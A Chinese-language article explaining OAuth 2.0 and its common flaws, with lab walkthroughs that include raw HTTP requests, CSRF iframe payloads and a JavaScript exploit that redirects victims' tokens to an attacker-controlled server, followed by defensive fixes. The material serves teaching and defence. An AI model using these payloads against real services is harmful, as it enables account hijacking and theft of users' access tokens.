1 背景
OAuth2.0是授权的工业标准协议,该协议允许第三方应用程序对HTTP服务进行有限访问。本文首先分别从应用场景、对比优势、授权模式等方面对OAuth2.0协议进行介绍,然后分析了OAuth2.0的安全性,最后进行了安全问题防御的总结,为实际防护提供了思路。
2 OAuth2.0介绍
2.1 OAuth2.0应用场景
OAuth2.0协议作为一个开放标准的协议框架,被广泛应用于多种业务场景中,分别如下:
应用于第三方应用登录场景中,将受保护的用户资源授权给第三方信任用户。
应用于多服务场景中,进行服务的统一登录认证,对内部系统之间的资源请求进行鉴权。
应用于开发平台场景中,对系统敏感资源服务进行安全认证及资源保护。
以第三方登录场景为例。A平台上的用户U要去B平台上读取该用户的一些信息,这时候A平台需要获取用户允许读取B平台上信息的授权。如果直接让用户输入 B平台的登录用户名和密码,那么A平台为了用户后续的操作,会保存用户的密码,而且当像A平台这样的第三方平台比较多的时候,这种操作就存在严重的安全隐患了。 这就是 OAuth该发挥作用的场景了,OAuth 是一种授权机制,数据的所有者也(用户U)告诉系统(B平台或者授权服务器),同意授权第三方应用(A平台)进入系统(B平台),获取这些数据。系统(B平台或者授权服务器)产生一个短期的进入令牌(token),用来代替密码,供第三方应用(A平台)使用。
2.2 密码的局限性与OAuth2.0的优势
令牌(token)与密码(password)的作用是一样的,都可以进入系统,但是有三点差异。
令牌是短期的,到期会自动失效,用户自己无法修改。
令牌可以被数据所有者撤销,会立即失效 。
令牌权限有限制,密码一般是完整权限。
上面这些设计,保证了令牌既可以让第三方应用获得权限,同时又随时可控,不会危及系统安全。这就是 OAuth 2.0 的优点。
2.3 OAuth2.0原理
2.3.1 OAuth2.0 原理简介
OAuth在"客户端"与"服务提供商"之间,设置了一个授权层(authorization layer)。"客户端"不能直接登录"服务提供商",只能登录授权层,以此将用户与客户端区分开来。"客户端"登录授权层所用的令牌(token),与用户的密码不同。用户可以在登录的时候,指定授权层令牌的权限范围和有效期。 "客户端"登录授权层以后,"服务提供商"根据令牌的权限范围和有效期,向"客户端"开放用户储存的资料。 首先介绍OAuth2.0涉及到的几个对象
Client 第三方应用,比如微信小程序
Resource Owner 资源所有者,即用户
Authorization Server 授权服务器,即提供第三方登录服务的服务器
Resource Server 拥有资源信息的服务器,通常和授权服务器属于同一应用
2.3.2 OAuth2.0 流程分析
用户打开客户端以后,客户端要求用户给予授权。
用户同意给予客户端授权。
客户端使用上一步获得的授权,向认证服务器申请令牌。
认证服务器对客户端进行认证以后,确认无误,同意发放令牌。
客户端使用令牌,向资源服务器申请获取资源。
资源服务器确认令牌无误,同意向客户端开放资源。
2.4 OAuth2.0 授权模式
OAuth2.0 一共有四种授权模式,安全问题大多在authorization code模式和implicit模式发生,因此本文只讨论这两种模式,如下图所示,两种模式的主要区别在于是否直接获取到access token,还是需要先获取到auth code。
2.4.1 authorization code 模式
这是最常用的Oauth流程,适用于有后端的web应用。过程如下:
用户访问app client,这时候app client将用户重定向到第三方资源授权处,重定向链接(/auth?clientid=[]redirect_url=[]response_type=code....)包含OAuth格式标准,包含一个回调url,此处指定response_type为code
用户访问重定向链接,用户此时访问第三方资源服务,完成登录认证(如果未登录的话),并完成授权授权,并携带auth code
上一步如果成功,第三资源授权处会根据第一步的回调url,将用户重定向到app client处,并携带了auth code
client app携带auth code访问第三方资源,第三方资源会响应access token。
client app携带access token,就可以获取到第三方的资源。
2.4.2 implicit 模式
对于纯前端的web应用,必须将令牌存储在前端,这时候就采用implicit模式,这个过程中没有授权码步骤。过程如下:
用户访问app client,这时候app client将用户重定向到第三方资源授权处,重定向链接(/auth?clientid=[]redirect_url=[]response_type=token....)包含OAuth格式标准,包含一个回调url,此处指定response_type为token
用户访问重定向链接,用户此时访问第三方资源服务,完成登录认证(如果未登录的话),并完成授权授权并直接返回auth token
client app携带access token,就可以获取到第三方的资源。
3 安全问题分析
本节内容分析了OAuth2.0协议常见的一些安全问题,以便读者了解原理进而进行防御。
3.1 授权服务器认证绕过
完成正常登录,获取第三方资源,假设获取第三方资源,通过一个用户的邮箱、用户ID来标识,但是第三方资源授权处没有很好的进行认证,则可以修改成其他用户的邮箱、ID,来获取其他用户的信息。具体步骤如下所示(只选取关键的请求报文演示过程):
1、重定向报文中,可以看到,使用的response_type为token,也就是implicit模式
GET /auth?client_id=aa5n3gw356du1ltuk7cxk&redirect_uri=https://ac971f231ef0890a8024057c00490099.web-security-academy.net/oauth-callback&response_type=token&nonce=1089005696&scope=openid%20profile%20email HTTP/1.1
Host: ac2c1f1c1ee989d280ae055902300066.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://ac971f231ef0890a8024057c00490099.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2、完成认证过程,响应报文中返回access token,并重定向到client app
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=r3YiTute_9gkHb1KEVRf2; path=/interaction/r3YiTute_9gkHb1KEVRf2; expires=Thu, 24 Jun 2021 01:47:43 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=r3YiTute_9gkHb1KEVRf2; path=/auth/r3YiTute_9gkHb1KEVRf2; expires=Thu, 24 Jun 2021 01:47:43 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=eeDlIZYnWn4HAQToec1k8; path=/; expires=Thu, 08 Jul 2021 01:37:43 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=eeDlIZYnWn4HAQToec1k8; path=/; expires=Thu, 08 Jul 2021 01:37:43 GMT; secure; httponly
Location: /interaction/r3YiTute_9gkHb1KEVRf2
Content-Type: text/html; charset=utf-8
Date: Thu, 24 Jun 2021 01:37:43 GMT
Connection: close
Content-Length: 99
Redirecting to <a href="/interaction/r3YiTute_9gkHb1KEVRf2">/interaction/r3YiTute_9gkHb1KEVRf2</a>.
完成正常登录流程后,用户wiener成功登录。
3、分析资源请求报文,用户携带access token以及当前用户的邮箱向client app resource server获取资源,此时resource server存在认证缺陷,只通过邮箱信息来认证用户,就可以通过篡改邮箱的方式来获取其他用户的信息。
POST /authenticate HTTP/1.1
Host: ac971f231ef0890a8024057c00490099.web-security-academy.net
Connection: close
Content-Length: 111
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/json
Origin: https://ac971f231ef0890a8024057c00490099.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac971f231ef0890a8024057c00490099.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=OljMk8cU2eUQrGgpijmnO9GrJYuJ6AfC
{"email":"carlos@carlos-montoya.net","username":"wiener","token":"HjjzNFAiUeBUiMlHxBQjBFJZ-RwpDtv_bc7rZV46L_o"}
将此请求在原始的session中进行重放,可以发现成功以其他用户登录。
3.2 CSRF关联账号
该安全问题结合CSRF利用姿势,将自己的第三方账号信息和受害者的client app账号进行关联,导致可以用非法的第三方账号,登录受害者client app账号,此攻击发生在authorization code 授权模式中,其步骤如下所示(只选取关键的请求报文演示漏洞危害): 1、执行正常登录的流程,直到步获取到一个带auth code的url(在实验环境中是/oauth-linking?code=[...])截取这个url,终止下一步的请求访问,在此步骤中将获取到一个有效的auth code,如下请求所示,获取到了一个有效的auth code
GET /oauth-linking?code=4UjF5el_NCqqDhCFMqzD3IcBRT4lp3azF01xwtEArtz HTTP/1.1
Host: acab1ff81ebb348a800210f9001a0020.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://acab1ff81ebb348a800210f9001a0020.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=SayAHJbeFtbILtd7TzktpTA3NyIFJ5Qy
2、构造一个CSRF报文,其中的url使用上一步的url(注意需要保证上一步的auth code没有被使用,且没有过期)
<iframe src="https://acab1ff81ebb348a800210f9001a0020.web-security-academy.net/oauth-linking?code=4UjF5el_NCqqDhCFMqzD3IcBRT4lp3azF01xwtEArtz"></iframe>
3、将这个请求发送给受害者,受害者请求该链接后,会接着第一步进行未完成OAuth flow流程,从而将受害者的账号和非法账号进行关联。
修复方案:
在client app的重定向请求中/auth?clientid=[]redirect_url=[] 添加state参数,在用户向client app提交auth code响应的请求中同样带上之前的state参数,此时client app验证state参数的一致性,从而防止了此类攻击。
3.3 CSRF获取敏感信息
该方式也需要借助CSRF来实现。截取步骤一中的重定向请求url,修改redirect_url为恶意服务器url。构造CSRF EXP,EXP中的其中url为上一步的构造的url,欺骗受害者点击该EXP,当受害者在登录状态,发送该请求后,会在恶意服务器获取到redirect_url携带的token。步骤如下所示(只选取关键的请求报文演示漏洞危害):
1、正常登录应用,截取重定向请求url,其中的redirect_url是关键参数,在下一步响应中,会重定向至该链接并携带auth toekn
GET /auth?client_id=h1sg1k429hsf5z76pgjjo&redirect_uri=https://ac8f1f9d1ee7897d800c1c0600aa009f.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: acde1f8f1ec589b080151c8d0284009b.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://ac8f1f9d1ee7897d800c1c0600aa009f.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _session=YjUnuiZgMyzGo5tBcVTSh; _session.legacy=YjUnuiZgMyzGo5tBcVTSh
2、修改redirect_url为非法的url,并构造EXP,这里修改url为攻击者部署恶意url。
<iframe src="https://acde1f8f1ec589b080151c8d0284009b.web-security-academy.net/auth?client_id=h1sg1k429hsf5z76pgjjo&redirect_uri=https://ac231f381e058972808c1c49016200cc.web-security-academy.net/exploit&response_type=code&scope=openid%20profile%20email"></iframe>
3、发送构造的EXP给受害者,通过access log观察结果,可以看到成功获取到了受害者的auth token。 修复方案:在认证服务器上对redirect_url进行校验 但是也有一些方法可以进行绕过:比如参数污染、ssrf漏洞中的urlbypass思路、或者注册这样的localhost.evil-user.net
域名
3.4 通过开放重定向获取敏感信息
继续通过redirect_url获取auth code的场景,但是在认证服务器上对redirect_url进行了校验,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,结合CSRF的利用姿势可以达到获取auth code的目的。步骤如下所示(只选取关键的请求报文演示漏洞危害): 1、寻找open redirect漏洞 在client app找到这样一个url,是存在open redirect漏洞的。
https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/post/next?path=
在参数path后接任意的url,都可以重定向至该url,因此可以利用该方式来延续上一节的方式。 2、构造URL,和上一节一样,寻找重定向认证请求的url,重新设置redirect url参数,url如下所示
https://ac341f301e6b7dff808d088e02810062.web-security-academy.net/auth?client_id=aqs19gz1q5ifc5lx06u1u&redirect_uri=https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/oauth-callback/../post/next?path=https://acf91fe41e6b7d4d80c408fa018c0034.web-security-academy.net/exploit&response_type=token&nonce=-535270160&scope=openid%20profile%20email
3、构造EXP
<script> if (!document.location.hash) { window.location = 'https://ac341f301e6b7dff808d088e02810062.web-security-academy.net/auth?client_id=aqs19gz1q5ifc5lx06u1u&redirect_uri=https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/oauth-callback/../post/next?path=https://acf91fe41e6b7d4d80c408fa018c0034.web-security-academy.net/exploit&response_type=token&nonce=-535270160&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) } </script>
4、检查access log,可以获取到auth code。
修复方案:
在authorization code 模式中,可以设计认证服务器对第一次认证请求提交的redirect_url参数,同时要求通过auth code获取access token的步骤中,同时提交redirect url,由于此时的通信过程是服务端到服务端的,攻击者无法伪造,认证服务器再将url和初始的收到redirect url进行比对,就保证了该攻击无法进行。
4 OAuth2.0 漏洞防御总结
防御OAuth2.0漏洞,需要从client和Authorization Server两方面入手,无论是什么授权模式,均有可能通过client端或Authorization Server实施不当引起安全漏洞。因此在设计上,需要开发者严格实施OAuth2.0 安全功能模块。
4.1 Authorization Server防御总结
使用白名单验证redirect_url参数
验证是否使用state参数
验证access token和client_id是否匹配,同时在资源请求中同时验证access token的访问范围
4.2 client 端防御总结
使用state参数
修复client端的开放重定向漏洞,防止在Referer头中泄露auth code
同时向/token 和 /authorization 端发送redirect_uri参数
5 总结
本文分析了OAuth2.0协议常见的安全问题及防御思路,为安全人员提供了思路,在实战中可结合具体的应用进行攻防研究。
参考资料: